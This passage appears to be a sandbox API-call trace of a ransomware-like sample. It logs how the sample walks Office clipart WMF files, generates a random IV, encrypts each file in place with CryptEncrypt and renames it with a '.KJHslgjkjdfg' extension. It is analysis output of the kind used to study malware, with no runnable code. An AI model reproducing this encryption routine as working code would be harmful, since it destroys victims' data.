[0200.850] GetProcessHeap () returned 0x2ef0000 [0200.850] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.850] GetProcessHeap () returned 0x2ef0000 [0200.850] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.kjhslgjkjdfg")) returned 1 [0200.851] CloseHandle (hObject=0x130) returned 1 [0200.851] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0200.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.852] GetProcessHeap () returned 0x2ef0000 [0200.852] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.852] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.852] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.853] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.853] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.853] GetProcessHeap () returned 0x2ef0000 [0200.853] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.853] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.853] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.854] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.854] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.854] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.854] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.854] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.854] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.854] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13d4, lpOverlapped=0x0) returned 1 [0200.855] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13e0) returned 1 [0200.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.855] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13e0, lpOverlapped=0x0) returned 1 [0200.855] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.855] SetEndOfFile (hFile=0x130) returned 1 [0200.857] GetProcessHeap () returned 0x2ef0000 [0200.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.857] GetProcessHeap () returned 0x2ef0000 [0200.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.kjhslgjkjdfg")) returned 1 [0200.858] CloseHandle (hObject=0x130) returned 1 [0200.858] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0200.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.859] GetProcessHeap () returned 0x2ef0000 [0200.859] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.860] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.862] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.862] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.862] GetProcessHeap () returned 0x2ef0000 [0200.862] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.862] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.862] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.862] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.862] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.862] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.862] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.862] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5c78, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5c78, lpOverlapped=0x0) returned 1 [0200.863] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c80, dwBufLen=0x5c80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c80) returned 1 [0200.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.864] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c80, lpOverlapped=0x0) returned 1 [0200.864] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.864] SetEndOfFile (hFile=0x130) returned 1 [0200.866] GetProcessHeap () returned 0x2ef0000 [0200.866] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.866] GetProcessHeap () returned 0x2ef0000 [0200.866] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.kjhslgjkjdfg")) returned 1 [0200.867] CloseHandle (hObject=0x130) returned 1 [0200.867] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0200.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.868] GetProcessHeap () returned 0x2ef0000 [0200.868] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.868] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.868] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.870] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.870] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.870] GetProcessHeap () returned 0x2ef0000 [0200.870] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.870] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.870] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.870] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.870] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.870] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.870] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.871] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.871] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f1c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f1c, lpOverlapped=0x0) returned 1 [0200.871] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f20) returned 1 [0200.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.872] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f20, lpOverlapped=0x0) returned 1 [0200.872] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.872] SetEndOfFile (hFile=0x130) returned 1 [0200.874] GetProcessHeap () returned 0x2ef0000 [0200.874] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.874] GetProcessHeap () returned 0x2ef0000 [0200.874] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.kjhslgjkjdfg")) returned 1 [0200.875] CloseHandle (hObject=0x130) returned 1 [0200.875] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0200.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.876] GetProcessHeap () returned 0x2ef0000 [0200.876] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.876] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.876] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.879] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.879] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.879] GetProcessHeap () returned 0x2ef0000 [0200.879] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.879] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.879] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.879] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.879] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.879] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.879] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.880] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x40cc, lpOverlapped=0x0) returned 1 [0200.880] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40d0, dwBufLen=0x40d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40d0) returned 1 [0200.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.881] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x40d0, lpOverlapped=0x0) returned 1 [0200.881] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.881] SetEndOfFile (hFile=0x130) returned 1 [0200.883] GetProcessHeap () returned 0x2ef0000 [0200.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.883] GetProcessHeap () returned 0x2ef0000 [0200.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.kjhslgjkjdfg")) returned 1 [0200.889] CloseHandle (hObject=0x130) returned 1 [0200.889] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, 